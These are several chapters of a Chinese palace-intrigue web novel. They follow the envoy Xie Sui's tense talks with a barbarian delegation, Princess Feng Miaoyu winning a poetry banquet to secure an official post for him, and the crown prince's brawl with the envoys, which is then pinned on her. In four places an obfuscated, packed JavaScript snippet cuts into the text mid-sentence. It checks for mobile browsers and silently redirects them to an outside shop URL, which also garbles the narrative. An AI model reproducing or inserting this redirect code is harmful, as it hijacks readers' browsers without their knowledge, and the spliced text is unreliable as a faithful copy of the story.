一个有着浓密络腮胡的大汉走过来问道,他穿着一身破烂不堪的粗布麻衣,杂乱的须发下,一双淡金的眼睛格外警惕。 谢随点了点头。 络腮胡大汉微微躬身致意,冰凉的匕首轻轻抵在谢随身后,“那就请跟我走一趟吧,我们大人已经等您多时了。” 络腮胡的雅言里带着浓重的蛮语口音。 —— 午后时又下起了雨。不再是细密缠绵的春雨,暴雨毫无征兆的倾盆而下,似乎在宣告着春日的终结。 谢随由那络腮胡子大汉领着,七拐八绕的进了盛京郊外一间冶金作坊内部。 “请吧。”那大汉在一处小门口处停下脚步,回头,冲着谢随做了个请的手势。 虽然从外面看只是间破破烂烂的小作坊,山匪见了都会绕道走的那种,但里面确是别有洞天。 屋里弥漫着奶酒的香气,猩红的长绒绣花地毯,正中间摆着一张长桌,一个面容苍老的蛮族老人坐于桌后,老人身后坐是几个垂着头的侍从,还有个蒙面的年轻姑娘坐在房间的一角,雕塑一般,正在轻轻拨弦抚琴。 那络腮胡大汉半跪在地上行了礼,恭恭敬敬开口道:“大人,大梁国安王的使者已经带到。” 安王就是原太子冯重曜如今的封号。 谢随很快打量了一圈,见那络腮胡大汉的视线总是有意无意落在一个垂着头的小个子侍从身上,于是他淡淡笑了笑,却只是站在原地。 “谢大人,快行礼。” 那络腮胡大汉皱着眉回头提醒道,屋内十几双眼睛刀剑一样刺在谢随身上,谢随还是没有动,首位上的老者也缓缓抬起眼皮,威严道:“使者大人这是什么意思?” 那络腮胡大汉飞快地翻译老者的话,屋里有几个脾气急躁的侍从已经开始拔刀了,那刀身形如弯月,雪亮的刀锋映着火光,像一个个不怀好意的笑容。 谢随脸上表情却很平静,就好像被十几柄刀指着的人不是他一样。他盯着那个小个子,淡淡道:“在我们中原有种说法叫做‘将心比心,以心换心’,如果贵部真想和我们谈判,那请让真正能做决定的人来。蛮族十三部中,你们巫阳部早已衰弱不堪,对区区一个巫阳的傀儡,我没什么好说的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14357897|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 那络腮胡大汉脸色微微发白,这次出使大梁的人员里能听懂雅言的加上他只有三人,但是这个时候听不听得懂谢随说了什么根本不重要,只看他的眼神和他的语气,用一根脚指头都能猜到他没说什么好话。 老者左手边一个侍从冷冷道:“大人,此子狂妄如斯,竟敢如此侮辱我等,我看今天也没什么好谈的了,不如让我去砍了他的脑袋,用鲜血洗刷这份耻辱。” 梅州与蛮荒接壤,临近当年冯重曜划定的边市,谢随这些年在梅州生活,也没少和蛮族之人打交道,听说蛮语自然不在话下。 “黄金王万俟赴、荒鹰阿纳提加……贵国历史上赫赫有名的几位君主都出自于巫阳,历史上的巫阳部可谓人才辈出。” 谢随微笑道,被大梁人认为粗俗难听的蛮语从他口中讲出来就变得非常悦耳,谁不喜欢被人夸呢,底下的几个侍从自豪的点点头,才刚刚把刀收回去,就听谢随接着冷冷道:“但再多荣耀,那都已经是过去了。” “眼下距离贵国的王选还有不到两年的时间,仅仅凭这几个只会挥刀的莽夫和蠢货,贵部能维持住王位?也许你们根本支撑不到王选,就因为缺衣少食而永远的湮灭在历史里了。就算你们侥幸撑到了王选,王选败落的下场,你们应该比我这个中原人更加清楚。” 铮的一声,琴弦断了。 角落里那个蒙面的年轻姑娘第一次抬起了头,她有一双漆黑的眼睛,深邃而又勾人,像是一道望不到底的深渊,上面漂浮着稀薄的流云。 底下的侍从们开始骚动起来,数十道充满杀意的眼神落在谢随脖子上,一群饿狼一样,只待一声令下……蛮族不论男女老少都是战士,这些人更是精锐中的精锐,那种从大小战场上厮杀下来的压力可不是开玩笑的,但越是这种时候越不能示弱,他是使者,这时候但凡他后退半步,露出怯意,后面的谈判就得退一万步。 夺位一事,能不诉诸武力自然最好,但也得做好最坏的打算。如果能和蛮族结盟,到时候就能调动西境驻防大军,再加上蛮族的汗血宝马,胜算将会有很大的提高。 谢随表面上不动声色,藏在袖子里的手心都被冷汗浸湿了。 过了许久,那小个子的侍从才慢慢抬起头,浓密的黑发,和蒙面姑娘有几分相像的面容棱角分明,他冷冷盯着谢随。 “安王的使者,注意你的言辞。两国交兵,不斩来使是惯例,但,也不是没有例外。更何况,我们巫阳部没落到如今这个地步,也和你们这些背信弃义的中原人脱不了干系。” 果然如传闻中的一样。巫阳部年轻的王子万俟闻有一双鹰一般锐利的眼睛。 谢随在心里暗暗想着。 16. 曲水宴 “我这会不想吃,你先拿下去吧。”冯妙瑜摆了摆手。 粉青瓷碗里浮着一片凝白,这冰酥酪是冯妙瑜往日的最爱,每次都能吃上两三碗的才肯罢休的,阿玉就有些狐疑地望着冯妙瑜。 好像就是那日从法云寺回来,公主就变得有些怪怪的。她也说不好,初夏的阳光透过隔扇窗格落在冯妙瑜肩膀上,那侧脸光洁如玉,雪团缩在一旁呼呼大睡,看起来和往常并无二致,但这几日来冯妙瑜似乎有什么心事,话本子也不看了,总是一个人望着窗外发呆。 阿玉还特地去问了翠珠,翠珠近来也神叨叨的,只拍着她的肩膀挑眉说是有好事将近—— 可是能有什么好事啊?涨月银吗?可是半年前冯妙瑜才提过府里的月银,这个时候怎么说也不可能会涨月银了。那还能有什么好事,阿玉想了半天也没想出来个头绪来,只好一脸茫然的出去了。 冯妙瑜一直在想那天的事情。 她答应了谢随,回来后和父皇说驸马的事情的。 但是这话怎么说,什么时候说也是一门大学问。 冯妙瑜想了许久,总算拿定了主意。 她叫来一个侍女,吩咐道:“你跑一趟刘公公那里,就说今年的曲水宴给我留个位置。” 曲水宴顾名思义,是每年初夏在宫里的曲风池旁举办的宴会。 除仿照古人流觞曲水饮酒外,这曲水宴最重要的便是作诗。拔得头筹者可以向帝王讨个彩头,通常是帝王身边的小物件,扇坠子,玉佩一类,形式大于实质。 这种场合冯妙瑜多是不出席的,毕竟以她那个名声,去了也是自讨没趣,只会讨人嫌弃,还不如找借口推脱掉。 这次既是为了谢随,也是为了她自己。 简单的用了早膳,冯妙瑜便带上阿玉早早前去赴宴了。 从宫外走自然比从宫里面直接过来赴宴慢些,等冯妙瑜进去时,人都到的差不多了,太子冯敬文正坐在上面和几人说笑,见冯妙瑜过来,撇了撇嘴别开了脸。 冯妙瑜并不在意这个,和几位认识的官员浅浅寒暄一二,便由内侍领着入座了。她今日是本着艳惊四座来的,石榴红夹缬罗衣上印染了大团宝相花纹,披帛曳地,三白妆,柳叶眉,淡红胭脂从眉尾一直漫到两颊,愈发显得明艳动人了。 冯妙瑜的手边是个穿蓝衣的美貌女子,梳着妇人的发髻,她身边还坐着一个看着才六七岁的小姑娘。冯妙瑜记得那妇人是仁亲王的王妃,好像是姓赵,在盛京是出了名的好性子,最爱说说笑笑。 两人打了个招呼,赵氏瞧着她,就道:“公主往日总是穿得素静,您难得穿这么俏,真好看。妾身瞧着您面色红润,公主近来可是碰上什么好事了?” 仁亲王是个闲云野鹤的性子,他娶的这位王妃出身很一般,也许是夫妻两都不大理会俗事的关系,她倒对冯妙瑜没多少成见。 “这一日日的也就是那些事情,能有什么好事?” 这大概就是过来人的直觉吧,一眼就叫她看穿了。冯妙瑜连忙笑着换了话题,“王妃娘娘这件衣裳的纹样倒是新奇,可是您自个儿画的?” 仁亲王妃心思细腻,尤善丹青和女红。 “公主好眼力。”赵氏闻言,笑道。又翻出另一边的袖子给冯妙瑜看那上面的纹样。陆陆续续又有不少人进来落座,除了文官,也有不少武官——他们倒不是冲着作诗讨帝王欢心来的,吸引他们的主要是宫内的琼浆玉液。 冯妙瑜随意地瞅了几眼,竟发现林修远也在里面,兴许是他父亲南安侯在一旁的缘故,他今日穿得倒蛮正常,一件胡绿的圆领袍,见冯妙瑜望向他,他冲她笑了笑,而后又不好意思似的挠了挠头发。 这个时候人基本上都到了。随着太监的一声:“皇帝皇后驾到——”帝后两人在一大群侍从的簇拥下进来,众人纷纷起身恭敬行礼。 “都平身吧。” 冯重明语气轻快,能听得出来,今日父皇的心情很不错。 不过冯妙瑜还是稍微垂着点头,她能感觉到张氏不满的视线落在她身上,不过正好这个时候冯重明宣布了开宴,乐师舞姬鱼贯而入,桌上满是酒水和精致小菜,冯妙瑜干脆就当没注意到张氏的视线,专心致志品尝面前那道虾子酿茭白。 一会作诗可是个费脑子的活,她早膳吃得少,得趁着眼下多吃点东西补补。 宴席还未到一半,帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14357898|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后那桌却突然传来了杯盏落地的声音,因有歌乐杯盏碰撞声音遮着,也就只有冯妙瑜等靠近帝后的几桌注意到了。 冯重明的脸色难看极了,刘公公垂手站在他身后,两只眼睛一会看看帝王,一会又看看张氏,一脸夹在两头,万分为难的样子。没多久,张氏便冷着一张脸说是身子不适,不胜酒力,先行告退了。 这么多年来,帝后不睦早就是大家心照不宣的公开秘密了。 大家只当没看到,照样说说笑笑,知道张氏是冯妙瑜生母,赵氏还特地关切了两句,诸如“皇后娘娘就是再忙也得注意保重凤体”一类。 可这份心照不宣,却仅限于大人之间。 赵氏旁边那个和她长得有八九分像的小姑娘皱起了稀疏的小眉毛,想了一会,突然道:“阿娘说谎。” “阿娘明明也看到了呀,方才是圣上想去抓皇后娘娘的手,被皇后娘娘一把拍开,酒杯才会掉在地上,根本就不是喝醉了酒。” 赵氏被吓了一跳,因饮酒产生的那点昏沉登时没了,她伸手就想去捂女儿的嘴,可那小姑娘已经继续往下说了。 “皇后娘娘好像并不喜欢圣上的样子,是因为皇后娘娘其实喜欢的是圣上的哥哥,圣上其实是横刀夺爱?”小姑娘似乎不太能理解这个词,稍微顿了一下,“他抢走了喜欢着哥哥的……” “公主,我,我……” 赵氏抱着女儿,脸都吓白了。 谁都知道一个六七岁的孩子,若不是大人们常在她耳边八卦这些,她又怎么可能知道什么横刀夺爱的。 冯妙瑜飞快地往父皇那边看了眼,冯重明正好偏过头和刘公公说话去了,并没注意到她们这里。她松了口气。 父皇这会可在气头上,要是让他听到这话还了得。 冯妙瑜转头拍了拍赵氏的肩膀,让人给那小姑娘换了杯羊乳茶过来,给赵氏找了个台阶,道:“小孩子童言无忌罢了,谁会听信这个。宫里果汁虽说不是酒,但是小孩子喝多了难免也会有些醉意,还是喝羊乳茶吧。” 她正说着,乐声却毫无征兆的停下来了。刘公公领着几个内侍捧着纸笔过来,原来是酒过三巡,到了作诗的时候了。 17. 冠带 大梁盛行诗词歌赋,大小宴会上少不了要赋诗作乐。本朝的文臣武将,不论是出身世家大族,还是出自寒门,多多少少都能作个对子,吟上首打油诗的,再不济叫府里幕僚提前帮着写上三两句,现场临时拼拼凑凑一番,也可应付一二。 冯妙瑜自知资质愚钝,提前做了不少功课,所以眼下倒还有余闲抬眼左右看看。 周围的人都盯着面前的彩笺,有的在嘴里无声的念叨着,有的提笔在纸上刷刷地打草稿,毕竟只是宴饮作乐,倒也不限韵,再没有比这更适合一展身手的时候了,席上几位盛京久负盛名的才子才女都皱着眉头苦想,林修远垮着张脸一直在挠头,也不知道他写了什么东西出来,给他那位据说年轻时文武双全的父亲南安侯气得吹胡子瞪眼睛,要不是帝王还在上面坐着,只怕是要家法伺候了,身旁的赵氏倒没动笔,她在笑着鼓励女儿往下写…… 那只用来计时的莲花木盏已经漂到了一半处,冯妙瑜收回目光,深吸一口气,提笔写起来。 等莲花木盏漂至岸边,内侍们依次收了彩笺,先挑了好的有趣儿的出来待帝王品评。 清风,碧荷,美景如斯。还有一个比狐狸还狡猾的刘公公在一旁使出浑身解数逗趣儿,这时候冯重明的心情也没那么坏了。他大手一挥,点了位老臣做了篇规中规矩的序出来,乐师奏起了羽调式的琴曲,内侍一首接着一首的念着众人的诗文,念到林修远那首时,连久经训练,素日不苟言笑的内侍都没忍住笑出了声。而林修远正大笑着和友人聊天,全然未注意到南安侯脸色比烧糊了的锅底还要黑。 总角年纪写出这样的诗文可谓童趣,可是弱冠年纪还写成这样,那只能说是讨打了。 冯妙瑜就有些同情地看了一眼殊不知大难将要临头的林修远。内侍又陆陆续续念了七八首诗,最后总算到了冯妙瑜的那首。 众人对冯妙瑜写的诗文没抱多少指望,毕竟她在盛京出名和才气全无关系,靠的是恶毒和骄淫,众人都扭头看着冯妙瑜,就连冯重明眼里都闪过一丝诧异,他慢慢说了三声好,指了冯妙瑜那首夺魁,又给众人赏赐了纸笔一类的小玩意儿,便摆驾离开,宴会还在继续,换了另一身行头的舞姬们再次登场。 这时候刘公公猫着腰走过来,笑道:“陛下在曲风阁等您,请。” 冯妙瑜点了点头,他们路过冯敬文旁边时,她听见冯敬文从鼻子里哼了一声,对旁边的友人鄙夷道:“肯定是提前找人替写好的。她这人哪里有那个能耐——我再清楚不过了。” 这话显然是特地说给她听的。 都说血浓于水,可冯敬文对她的厌恶却不输盛京中任何一个人。 曲风池占地极广,这曲风阁还在另外一头。三层高的木制小阁,柳色纱帘,廊柱上雕刻了莲花卷云的纹样。冯妙瑜过去时冯重明正坐在三楼上喝茶醒酒,丝竹管弦之声远远飘来,一只小蜻蜓被风吹到了栏杆上,蓝色的,它剔透的翅膀颤抖了两下,又飞入楼下一片碧荷中。 她忽然就想起,多年前,她也曾见过这样的蓝蜻蜓。当年冷宫里相依为命的瞎眼嬷嬷抱着她,说看见蓝色蜻蜓会带来好运。那老嬷嬷说的似乎是对的,那之后没多久冯妙瑜就被接出了冷宫。可在她被接出冷宫前,那老嬷嬷就没了,她已经太老了,冬日梢头的枯枝一般,轻轻的就折断了。冯妙瑜上前行了礼。 “平日这些宴会,你是躲都躲不及的,今日怎么突然有了兴致。你是我大梁的长公主,想要什么你和下面的人说一声就是,指不定你的话比朕的话还管用,又何必这么拐弯抹角的呢。”冯重明冷漠道。 “父皇的赏赐和儿臣向别人要来的东西能一样吗,”冯妙瑜抿了抿嘴,还是勉强笑道:“儿臣听人说曲水宴上拔得头筹者能向父皇讨个彩头,父皇是圣贤之君,君子一言,驷马难追,您可不能反悔。” 冯重明淡淡笑了一声,没有喜悦,“奉承话、戴高帽,都省了吧,朕乏了。你说吧。” “那我要说了,父皇可不能不答应啊。”冯妙瑜道。 “先说。”冯重明已经有些不耐烦了。 冯重明心情明显不佳,眼下并不是最好的时机,冯妙瑜迟疑了一下,但这事情若是拖着,迟则生变,那还不知道得拖到什么时候去。 她深吸一口气,半跪下去,平日她对冯重明行的都是君臣的礼仪,如今这个却是子女对家中长辈执的礼。冯妙瑜道:“女儿想向您讨一套本朝九品文官的冠带。” 如果当年谢家没有出事,身言书判,以谢随的资质,大概率会官拜九品的校书郎。校书郎虽然听着只有九品,品阶并不高,却前途一片光明,本朝好几位官至宰辅的权臣都是从校书郎一职踏入官场,可谓是文官入仕的上上良选。 刘公公端了一碗醒酒汤上来,冯重明端起来喝了两口,奇怪道:“你要那玩意做什么,难道你一个女子,想要入朝为官?” 冯妙瑜摇头。 “借花献佛。”她顿了一下,道:“父皇还记得前面您提到驸马的事?女儿的驸马若是没个一官半职的,实在是……” “区区一个九品而已,你这个长公主又何必来求我?九品,作为你的驸马,这个品级未免太低了些。”冯重明似笑非笑,还在试探。 “父皇,那能一样吗?他是女儿的夫君,若传出去他是靠着妻子才谋得了一桩差事,朝中那些文臣您是知道的,肚子里总共就那么三滴墨水,大半都拿去在背地里骂人,给人穿小鞋——您要他日后怎么在官场上混下去呀。”冯妙瑜就道。 “这还没嫁出去,胳膊肘就已经开始往外拐了,”冯重明往椅子里靠了靠,打趣了句,又问道:“这样上心,朕的狸娘这是看上了哪家的公子?” 冯妙瑜如实答了,冯重明和刘公公对视一眼,两人均是一头雾水,尤其是刘公公。那些画像都是他挑选了送去长公主府的,他想了半天都不知道这个谢随何许人也,像从石头缝里蹦出来突然就得了长公主欢心……这也不怪他们,毕竟当年谢随才中了状元,半只脚还没踏入官场呢,不记得很正常。 世上才华横溢的少年郎君并不多,但是盛京从来不缺这样的人。 冯妙瑜只能瞅着冯重明脸色,小心道:“父皇不记得他,但他祖父您也许还有印象,他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14357899|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祖父讳玄,曾官至御史大夫。” 她说到谢玄,冯重明倒是想起来了。 当年一怒之下下令流放谢家,他其实后来想起来也有几分后悔,尤其是接任谢玄那位新御史大夫处处不及谢玄,不说书判上,就连皮相都没谢玄顺眼,只是狠话都说出去了,总不能收回来吧。 “给个官职倒是小事,只是曾经谢家还不错,但朕说句实话,如今的他配你,远远不够。”冯重明道。 他是忌惮冯妙瑜和她背后的张家,没有哪个君主会喜欢被刀架在脖子上的感觉,却也没想过把她嫁给寒门——落魄世家子,也就比寒门好那么一点点。 “请父皇成全,”冯妙瑜叩首恳求,初夏午后的阳光还没那么刺眼,柔和明净,她安静地看着冯重明,想了想,才又慢慢道:“女儿是真的,真的很喜欢他。” 她和冯重明一起时都是互演一出父慈子孝的烂俗戏码,但是唯有这次,这句话,她是真心的。 冯妙瑜都能想象出来张氏听到这件事时嘲讽着上扬的嘴角,和那声轻蔑至极的“蠢货”。她期待的婚事注定得不到张氏的祝福,那只有父皇一个人的认可也是好的。 冯重明挥手,除刘公公外的内侍全都下去了,直到赤霞染红了楼下池水,两人才大致商定好了婚事,总之是先给谢随一官半职,然后再下一道圣旨赐婚,至于婚礼怎么办,冯妙瑜是想一切从简,若按宫里礼仪一板一眼办一场下来,她没累死也得脱三层皮。 刘公公咧着嘴,嘴角笑意都快压不住了。他又端了新茶和点心上来,为保险起见,他还找人吩咐厨房提前备了几样冯妙瑜爱吃的菜,驸马这事上他是没多少功劳,但喜事嘛,总能沾到点好处的。 冯重明道:“九品,朕思来想去,觉得还是太低了点。六品如何?” 除了觉得个九品芝麻官配公主不妥,更多是他心里那点愧疚,这是对当年谢家的补偿。 “他才入仕,一无功绩,二无荫庇,品级若是太高,只怕底下的人心里不服气,”冯妙瑜立刻道:“女儿听说这同样是九品官,这官和官之间的差距可大着呢。父皇与其给他个六品官职,倒不如在九品里给他挑个好去处,先历练一番再说。” 话都说到这个份上,冯重明哪还能不明白冯妙瑜心里打什么算盘,他道:“那就给他个校书郎做做吧,他是曾经的状元郎出身,这个校书郎也当得。秘书省、集贤殿、司经局、弘文馆、崇文馆几处都有校书郎之职,朕想想……就安排他去秘书省好了。” 如今秘书省监王大人是清流派名臣,当年还和谢玄以异姓兄弟相称的,这样的安排是再好不过了。 “谢谢父皇。” 冯妙瑜笑的开心,她正打算再说两句好话奉承一下父皇如何英明神武,一个内侍突然匆匆跑进来,一面跑,一面大叫道:“不好了,不好了,不好了……” 气得刘公公一拂尘甩在他脑门上。 “没眼色的东西,乱叫什么,不知道皇上正和公主说话吗,谁让你进来的?” 那个内侍喘了口气,却对冯重明道:“皇上,外面出事了。出大事了!” 18. 关怀 宫里调理出来的内侍向来是沉稳持重的,锥子扎了手都不吭一声的闷葫芦,若非确有要事,肯定不会像眼下这般不顾章法地闯进来。冯妙瑜就道:“出什么事了?你不用着急,慢慢地说。” “是太子……” 那内侍才说了几个字,又见刘公公向他使眼色,他转了转眼睛,立刻改口道:“具体事情奴才也不是很清楚,只是方才太子的侍卫突然跑来说长信宫那边出事了,奴才见他一脸焦急,衣裳上还沾了血,这才……” 长信宫属于东宫。不过那地方位置偏得很,周围又是个没什么人去的园子,冷清到有些渗人,听说冯敬文偶尔会到那里去温书或是躲个清净。 可这是在皇宫里,就在天子眼皮子底下,能出什么事情? “糊涂!你闯进来打断皇上和公主说话,就为这捕风捉影的事情?”刘公公作势往那内侍的屁股上踹了一脚,唱红脸。 “无妨,朕和公主的话也说的差不多了。新人不懂事,你下去慢慢调理就是,发这么大火做什么?” 冯重明眼下心情不错,也乐得给刘公公个面子扮白脸,顺便彰显一下自己的仁君风范。 “说起来,朕也有段时间未看太子了,狸娘也有许久没见他了吧?他是你亲弟弟,你也跟朕一起过去,晚些时候,我们三人一起在宫里用个晚膳。” 冯妙瑜愣了一下。 相比姐弟,她与冯敬文倒是更像一对冤家。冯敬文不喜欢她这个长姐,她其实不是很想见冯敬文,更不想和他坐在同一张桌子上吃饭,只是父皇这么说了,她也不好拒绝。 冯重明笑着起身,又指刘公公吩咐道:“对了,今个晚膳你记得叫他们做份五生盘上来,朕记得狸娘平日最爱吃这个了。” 刘公公眼里闪过一丝惊诧,很快就转头吹捧起冯重明舐犊情深,公事如此繁忙还能记着女儿的喜好。 冯妙瑜欲言又止。 五生盘其实就是羊、猪、牛、熊、鹿五种肉类做的生腌冷盘。 她不喜食冷盘。尤其那五生盘还是生肉,就是做的再好她也觉得有股腥味,何况听说那东西吃了以后还容易腹痛。 但这是父皇对她屈指可数的关怀了。 冯妙瑜抿了抿嘴,犹豫了又犹豫,最后还是没说出她其实一点也不喜欢吃五生盘。 几人走出曲风阁时,正好那个前来报信的侍卫还没来得及离开,冯重明就叫他过来问话。 一路上,那侍卫支支吾吾的,一会说太子被人打了,一会又说太子把人家打伤了,说的前言不搭后语,冯重明的脸色越来越阴沉,直到快到长信宫门口,那侍卫才终于顶不住压力说了实话。 冯敬文不知从什么时候起和宫里一个小宫女好上了。长信宫偏僻,两人常约在那地方见面,苟且时由侍卫守在外面。 反正这种事情在世家子弟里也不少见,太子的侍卫和太子那是一条绳子上的蚂蚱,一荣俱荣一损俱损的,大家就都睁一只眼闭一只眼了。 可谁知今日出了纰漏。两人正忙活时叫人看到了。冯敬文席上喝了不少酒,一言不合,就和人家打起来,打不过人家,还叫了侍卫一起上。这事情闹得不小。 冯重明脸上没什么表情,只是面上肌肉滚动着,乌云遮天,风雨欲来。他问道:“是什么人和太子打起来了,人呢?” “卑职见那,那几人穿的是蛮服,好像是使团的人。”那侍卫道。 他见两边的人都打起来失了理智,知道事态严重,便赶紧跑到曲风阁外向冯重明禀报。 “成何体统!” 冯重明深深地吸了口气,鼻翼微张。一来是气冯敬文行事荒唐,堂堂一国太子却授人以柄,二是气他打谁不好,若他打的是个大臣的儿子,到时大事化小小事化了也就压下去了,可他打的偏偏是使团中人,国无小事,这可不是随手能压下去的事情,搞不好两国交恶——眼下可还指望着靠边市贸易税弥补国库亏空呢。 长信宫里已乱作一团。 一个瞧着才刚十四五岁的小宫女抱着裙子大声劝着,嗓子都喊哑了,可酒劲上头的人哪里还能听得进去她的话。 太子冯敬文衣衫不整地领着一众侍卫冲上去揍那几个穿着蛮服的少年,敌众我寡,那几个蛮族少年却也未落下风,蛮族本就善战,何况这次出使大梁的个个都是青年翘楚,一时间打的难舍难分,混乱中只听冯敬文大喊着:“给我打!狠狠地打!今日非得让这几个毛小子见识一下本宫的厉害不可!” 那几个蛮族少年也用蛮语咕哩呱啦大叫起来,冯妙瑜曾随一位来访的蛮族学者学过一点皮毛,她连蒙带猜,那几个少年的话意思差不多是擒贼先擒王,于是两个掩护,另外一个从侧面摸到冯敬文身边,抬手照面就是一拳,鼻血刷地流下来。 “皇上驾到——”刘公公偷偷瞄着冯重明的脸色,一甩拂尘,尖声大喊道。 无人理会。 有几个靠近宫门的倒是发觉了不对,但很快又被卷回了斗殴之中,冯重明的脸色已经不是难看了,阴沉到能挤出水来。 “还不上去把他们都拉开!再把太子给朕压到他宫里去跪着,没有朕的旨意,谁也不许去看他,给他求情!” 眼看着帝王真动了怒,身后的侍卫纷纷行动起来。能混到帝王身边贴身伺候,这些亲卫自然都是有两把刷子的,不到一炷香功夫就已控制住了局面,几十个侍卫铁壁般围着长信宫,别说人,就是一只蚊子都飞不出去。 至于冯妙瑜,她毕竟还是个待字闺中的姑娘,这种腌臜事自然不会要她出面做什么,就被留在长信宫正殿里,有个宫女陪着她,还给她倒了一杯茶。 但这个时候冯妙瑜哪里有心思喝茶,殿外院子里叫冤求饶的声音就没停过,一声接着一声,挑动着她的神经。 她一直等到天擦黑时,刘公公才擦着汗走进来,冯妙瑜知道事情差不多处理完了,忙向他打听起外面的情况。 刘公公唏嘘不已,低声道:“这会已经砍了九个了。” “带头打人的侍卫、长信宫知情不报的宫人,还有那个小宫女。眼下内里的事处理的差不多了,只是蛮族使者那边不好说。今日之事毕竟是咱们这边理亏在先,他们就是狮子大开口,咱们也没办法呀。”才不到半天的功夫,他却一下子老了好几岁,疲惫满的都要溢出来了。 这个时候冯重明也进来了。 虽然早些时候他说了要留冯妙瑜用晚膳,但眼下他应该也没用膳的心情,冯妙瑜想着,小心道:“父皇,天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14389643|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色晚了,若没什么事情,那儿臣就先回去了?” 她一是不想留下掺和进这摊浑水里,二是她与谢随的婚事虽然打算从简办了,却还有许多要准备的事情,这种事情是越早准备越好的。 “你留下,陪朕用了晚膳再回去。”冯重明想了想道。 他盘算着冯妙瑜就要成亲了,她那驸马不见得有这个胆子,但日后主持府内大小事务,难免遇上类似的事情。做姑娘时这些腌臜事有老嬷嬷暗中处理了,但嫁了人就不一样了,跟着学一学总没坏处。 晚膳是刘公公早已命人备好的,很快有人端上新鲜出炉的蒸饼,烤乳鸽、金栗、羊皮花丝、虾炙还有几道精致素食小菜和点心,那烤乳鸽是放了陈皮烤出来的,外皮蜜黄,香而不腻。一桌上有好几道菜都是冯妙瑜爱吃的。 冯重明根本不会记得这些,想来是刘公公特意叮嘱了的。 刘公公一片好心,只是冯妙瑜并没有多少胃口,就各样尝了两口。 冯重明脸上虽然还残留着几分下午时的愠怒,用膳时却一直在问冯敬文的情况,那孩子是他从小养到大的,走路,说话,写字都是他一点一点亲手教导……冯重明吃了两口菜,又担心冯敬文如今被禁足在自己宫里受了委屈,便即刻叫人烧了一桌冯敬文喜欢的菜带过去,顺便查看一下那边的状况。父母之爱,大概便是如此了吧。 冯妙瑜戳了戳碗里的虾。 如果是她做了错事,父皇又会如何呢?也会这样嘴上不说,心里却挂记着么? “事关太子的声誉,这件事情绝不能传出去,今日在场之人你下去亲自敲打,叫他们都把嘴闭严实了。” 刘公公顿时面露难色,伸头是一刀缩头也是一刀,他只得小声道:“陛下,此事实在是闹得有些大……” 下午宫里还有不少前来赴宴的官员及家眷,世上没有不透风的墙,怎么可能瞒得住。 冯重明突然一拍桌子,筷子连带着汤碗砸落在一旁,冯妙瑜和刘公公都被吓了一跳。 “父皇息怒。” 冯妙瑜立刻起身道,刘公公则跪伏在地上,颤颤巍巍着开口。 “陛下息怒。” 他说着,又看一眼冯妙瑜,冯妙瑜突然没由来的有一种不好的预感,只听刘公公接着道:“奴才的话还没有说完,这事虽然是传出去了,但只传出去了一半——外面只传了宫里面的侍卫和蛮族使者打起来了。” 刘公公小心翼翼地看了眼冯重明,道:“他们并不知道是太子和蛮族使者起了争执。” 除了宫里属于帝王的侍卫,眼下能带侍卫入宫的便只有太子冯敬文和冯妙瑜两人。冯妙瑜能感觉到冯重明正在看着自己。 事情已经传出去就很难压下去了,要么爆出一桩更大的丑事盖过去,要么……张冠李戴。 “这件事要委屈你了。”冯重明毫不犹豫的下了结论。 冯妙瑜比冯敬文懂事多了,拎得清事情轻重缓急,她不会拒绝的。 冯妙瑜只觉得心寒。 他今日可以毫不犹豫推她出去顶一个莫须有的罪名,来日若她犯了错,恐怕只会是避之不及,何况挂念关怀呢。 她到底不是皇帝看着长大的孩子,情分没那么深也正常。 19. 岔路 立夏一过,弹指间就到了小满。 满,盈溢也①。小满后一连下了三日大雨,河水渐涨,渔人的小舟在岸边飘摇不定,一如盛京人的心。 这一年初夏发生了不少事情。 一是长公主冯妙瑜的侍卫竟然和蛮族使者在宫中大打出手,丢尽了脸面。二是康仁皇太后突然病重。 